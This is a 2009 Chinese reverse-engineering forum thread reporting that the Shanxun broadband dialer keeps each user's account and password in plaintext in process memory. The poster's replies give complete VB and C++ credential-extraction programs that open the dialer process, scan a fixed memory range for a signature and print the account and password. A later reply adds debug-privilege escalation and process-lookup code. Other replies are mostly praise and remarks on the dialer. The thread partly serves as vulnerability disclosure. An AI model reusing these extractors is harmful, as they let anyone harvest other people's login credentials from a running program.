首页
社区
课程
招聘
[原创]剑走偏锋,另辟蹊径获取加密信息
发表于: 2009-9-4 21:35 14849

[原创]剑走偏锋,另辟蹊径获取加密信息

2009-9-4 21:35
14849

【文章标题】: 剑走偏锋,另辟蹊径获取信息
【下载地址】: 自己搜索下载
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】

  现在为了数据的安全,很多软件都使用了杂七杂八的加密算法,有些逆向起来很是不简单。有没有一种简单一点的对付某些软件加密的办法?有!不妨先看一个故事:

  某次电台请了一位商界奇才做嘉宾主持,大家都非常希望能听他谈一谈成功之道。但他只是淡淡一笑,说:“还是出道考题考考你们吧”
  “某地发现了金矿,人们蜂拥而去,然而一条大河挡住了必经之路,是你,你回怎样做?”
  有人说绕道走,有人说游过去。但他却微笑不语。很久,他说:“为什么非得去淘金,为什么不买一条船开展营运?”大家愣然,他却说,“在那样的情况下,即使把渡客们宰的只剩下一条短裤,他们也会心甘情愿。因为前面有金矿啊!”

  这和天无绝人之路一个道理。只要用心,只要有心,总能找到解决问题的方法,方法不止一个!
  对加密的信息通常我们会锲而不舍的去分析信息的加密算法,有时,仰视天空,很灿烂,侧目而视,眼前亦有大美!
  呵呵,扯远了,言归正传。这篇文章要探讨的就是通过不破解加密文件来获取有效信息的一种方法。
  我们学校以前用的是电信201卡上网,现在是用浙江电信的闪讯软件上网。据我所知,浙江很多高校现在都是用闪讯软件拨号上网,不知国内其他地区高校现在是何种上网方式



  问题的发现
  曾经一段时间对软件安全很狂热,几乎每天都泡在看雪里,看那些大牛怎样分析,逆向软件的。看得多了就必定会要那么一点想法。有一次我突发奇想,想看一下闪讯的的内存状态(事前已用PEid,OD瞎分析了一下)是怎么样的。于是就用强大的十六进制编辑工具Winhex的内存编辑功能打开了闪讯的内存,结果不看不知道,一看吓死人。



        图 闪讯内存状态
  那是什么,那就是客户的账号、密码的明码!由此才生了一个警觉。这里要说明的是闪讯登陆界面密码框里字符是无法用侠客密码查看器之类的程序获取的。后来多次对闪讯的内存状态进行测试,每次只要闪讯一连接上,其内存中必定保留着客户的账号、密码的明码这一敏感信息,每次信息的内存的位置是不同的,但是可以将信息锁定在一定得内存范围之内。令人费解的是这么一个泄露信息的漏洞(我姑且把它称为漏洞),从闪讯的第一个版本到当前的所有版本都没有修复。
  通过前面的发现,只要闪讯正确连上,那么就可以在闪讯程序的内存轻而易举中找到用户的账号和明码。通过编写程序来获取用户账户和密码是一件及其容易的事情。



              
      图 闪讯账户信息获取程序设计流程
    代码放上来,我就不分析代码了,知道原理来写代码就很简单了。


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 7
支持
分享
最新回复 (19)
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
2
有时不知道是运气还是什么的了,一些很难的问题,总是突然就找到很简单的解决方法
2009-9-4 21:45
0
雪    币: 403
活跃值: (29)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
3
发上三分代码,这份是VB的
'author:xuecrack
'API 自己声明
'用户名保存在 UsrNum 变量,密码放在 UsrKey 变量

Dim hWn As Long         '存放窗体句柄
Dim pid As Long         '存放进程ID
Dim hProcess As Long    '存放进程句柄
Dim Rdata As Long       '存放读取数据
Dim RdAddr As Long      '存放读取地址
Dim UsrNum As String, UsrKey As String: UsrNum = "": UsrKey = ""
Dim i As Integer             'i作循环用
hWn = FindWindow("#32770", "闪讯")      '获取闪讯窗口句柄,可用spy之类的获取到闪讯的窗口类名
If hWn = 0 Then
    hWn = FindWindow("#32770", "闪讯宽带")
    If hWn = 0 Then
        MsgBox "闪讯未运行!!!!!", vbOKOnly + vbInformation, "提示"
        Exit Sub
    End If
End If

GetWindowThreadProcessId hWn, pid           '获取进程标识符
hProcess = OpenProcess(1040, 0, pid)        '将进程标识符做为参数,返回目标进程PID的句柄,得到此句柄后即可对目标进行读写操,PROCESS_ALL_ACCESS表示完全控制,权限最大
If hProcess = 0 Then
    MsgBox "不能打开闪讯进程!!!!!", vbOKOnly + vbInformation, "打开进程错误"
    Exit Sub
End If

'在内存地址130000h~140000h内搜索账号特征"@DZK",此乃经验所得
RdAddr = &H130000
Do
    ReadProcessMemory hProcess, RdAddr, Rdata, 4, 0&
    RdAddr = RdAddr + 1
Loop While RdAddr < &H140001 And Rdata <> &H4B5A4440

'若超过地址140000h则读取信息失败
If RdAddr > &H140000 Then
    MsgBox "读取失败!若有其他程序的标题是“闪讯”的请先关闭后再次运行本软件!", _
    vbOKOnly + vbInformation, "提示"
    CloseHandle hProcess
    Exit Sub
End If

'处理读取到特征的地址与账号开始地址
RdAddr = RdAddr - 13
Rdata = 0
For i = 0 To 11
    ReadProcessMemory hProcess, RdAddr + i, Rdata, 1, 0&
    UsrNum = UsrNum & Chr(Rdata)
Next
UsrNum = UsrNum & "@DZKD.XY"
RdAddr = RdAddr + 32
Do
    ReadProcessMemory hProcess, RdAddr, Rdata, 1, 0&
    If Rdata = 0 Then Exit Do
    UsrKey = UsrKey & Chr(Rdata)
    RdAddr = RdAddr + 1
Loop

CloseHandle hProcess
2009-9-4 21:46
0
雪    币: 403
活跃值: (29)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
4
下面这张是VC编写的控制台程序运行的截图




/*####################################################################################
NKsearch.cpp	闪讯密码提取器,用于提取闪讯账户信息
by xuecrack, All Rights Reserverd.
Date:2009-09-04
#####################################################################################*/

#include<iostream>
#include<windows.h>
using namespace std;
int main()
{	
	//dwRdAddr:读取内存的地址,RdData:从内存中读出的数据,UsrNum:存放闪讯账号,UsrKey:存放闪讯密码
	DWORD	pId,dwRdAddr,RdData;
	BYTE	UsrNum[21],UsrKey[20];
	HWND	hWnd=(HWND)FindWindow("#32770","闪讯");
	DWORD threadID=GetWindowThreadProcessId(hWnd,&pId);
	HANDLE hPro= OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,pId);
	system("title 闪讯密码读取器");
	system("color 0a");
	if(hPro==NULL)
	{
		cout<<"打开闪讯进程失败,有可能闪讯没有启动!"<<endl;
		return 0;
	}

	//在范围12d500h~140000h内查找闪讯用户信息,该范围由经验而得
	dwRdAddr=0x130000;
	while (dwRdAddr<0x140001)
	{
		ReadProcessMemory(hPro,(LPVOID)dwRdAddr,&RdData,4,NULL);
		if (RdData==0x4b5a4440)
			break;
		dwRdAddr++;
	}
	if(dwRdAddr>0x140000)
	{
		cout<<"读取信息失败!"<<endl;
		CloseHandle(hPro);
		return 0;
	}
	//此时dwRdAddr的位置为闪讯账号中"@DZKY"中的"D"的位置,要到开始位置需减去12
	//闪讯账号开始位置与闪讯密码开始位置的距离为32,故dwRdAddr先减12后再加32
	dwRdAddr-=12;
	ReadProcessMemory(hPro,(LPVOID)dwRdAddr,UsrNum,21,NULL);
	dwRdAddr+=32;
	ReadProcessMemory(hPro,(LPVOID)dwRdAddr,UsrKey,20,NULL);
	CloseHandle(hPro);

	cout<<"-----------------------------恭喜-----------------------------"<<endl<<endl;
	cout<<"读取闪讯账号为:"<<UsrNum<<endl<<"读取闪讯密码为:"<<UsrKey<<endl;
	cout<<endl<<"--------------------------------------------------------------"<<endl;	
	system("pause>nul");

	return 0;
}



总共用三种编程语言写了代码,都可以的,大家挑自己喜欢的语言看吧。
上传的附件:
2009-9-4 21:54
0
雪    币: 403
活跃值: (29)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
5
是啊,有时换个方向看问题也不错。太过于较真反而不好。
2009-9-4 21:56
0
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
6
喜欢VC和win32.。。才学windows程序设计,学习下。。。
2009-9-4 23:30
0
雪    币: 142
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
淫才,三种都喜欢。
2009-9-5 10:12
0
雪    币: 471
活跃值: (4228)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
8
提供多种源代码,不错不错
2009-9-10 14:33
0
雪    币: 1355
活跃值: (344)
能力值: ( LV13,RANK:920 )
在线值:
发帖
回帖
粉丝
9
其实拿到这个也只是拿到了对方的上网伪账号,依然无法用这组账号,采用传统方式连接网络。

闪讯的根本目的就是防止路由器,因为人家要垄断和暴利,如果你能脱掉闪讯的壳,逆向它的账号加密算法,就可以自己写个拨号器,或者用路由上网了。

现在的闪讯是每次拨号都产生一个不一样的前缀,连接用户名,下次就失效。

所以说很奇怪啊
2009-9-25 09:47
0
雪    币: 403
活跃值: (29)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
10
是啊,得到这样的号也只能用闪讯连上网络,不能用传统可接路由器的方式,闪讯无良啊
2009-9-25 20:23
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
11
闪迅没用过,我这边连宽带都办不了,电信那说端口不足,又不去扩充,汗个……看来熟悉BT系统还是有必要的,呵呵
2009-9-25 22:50
0
雪    币: 219
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
分析的不错  学习了
2009-10-13 09:08
0
雪    币: 52
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
楼主大哥太强大了 佩服
思路奇特 编程语言也是样样精通啊
小弟还在依葫芦画瓢呢 照着教程或破文“破”软件 惭愧哦 呵呵
汇编 C C++ VB 都有学过但没一门能独立写出程序,拿vb和c++builder做过小程序 但没什么代码 。。。
向所有看雪的前辈大哥牛人们致敬了  
2009-10-14 20:36
0
雪    币: 403
活跃值: (29)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
14
今天翻了下我的主题,发现之前用的FindWindow,再转化获取闪讯pid方法不够好,换个方法.
思路:提权->获取进程快照->遍历得到pid

//提权函数
BOOL WINAPI AdjustPrivileges()
{
	HANDLE hToken;
	TOKEN_PRIVILEGES tkp;
	BOOL bResult=FALSE;
	//打开当前进程信令
	if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
		return bResult;
	LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid);
	tkp.PrivilegeCount=1;
	tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;	//提升访问令牌权限
	AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
	if(GetLastError() == ERROR_SUCCESS)
		bResult=TRUE;
	return bResult;
}


//从可执行文件名字得到他的pid
DWORD WINAPI ExeName2PID(  const char *ExeName)
{	
	PROCESSENTRY32 process;
	process.dwSize=sizeof(process);
	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	if(hSnapShot)
	{			
		BOOL findResult;
		findResult=Process32First(hSnapShot,&process);
		while(findResult)
		{
			if(strcmp(process.szExeFile,ExeName)==0)
			{
				CloseHandle(hSnapShot);
				return process.th32ProcessID;
			}
			findResult=Process32Next(hSnapShot,&process);		
		}
	}
	CloseHandle(hSnapShot);
	return 0;
}
2009-11-1 09:09
0
雪    币: 102
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
分析 的特撤,向楼主学习
2009-11-3 19:48
0
雪    币: 561
活跃值: (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
学习了
2009-11-5 14:38
0
雪    币: 267
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
17
很好,学习了,支持!
2009-12-6 14:22
0
雪    币: 74
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
18
竟然会三种以上的语言 , 强人!
2009-12-16 20:09
0
雪    币: 9
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
闪讯计算出一个与当前时间、账号、常量字符串相关的前缀加在账号前进行拨号。
2010-5-18 15:51
0
雪    币: 2323
活跃值: (4118)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
20
呵呵,有点意思~~
2010-5-18 22:20
0
游客
登录 | 注册 方可回帖
返回
//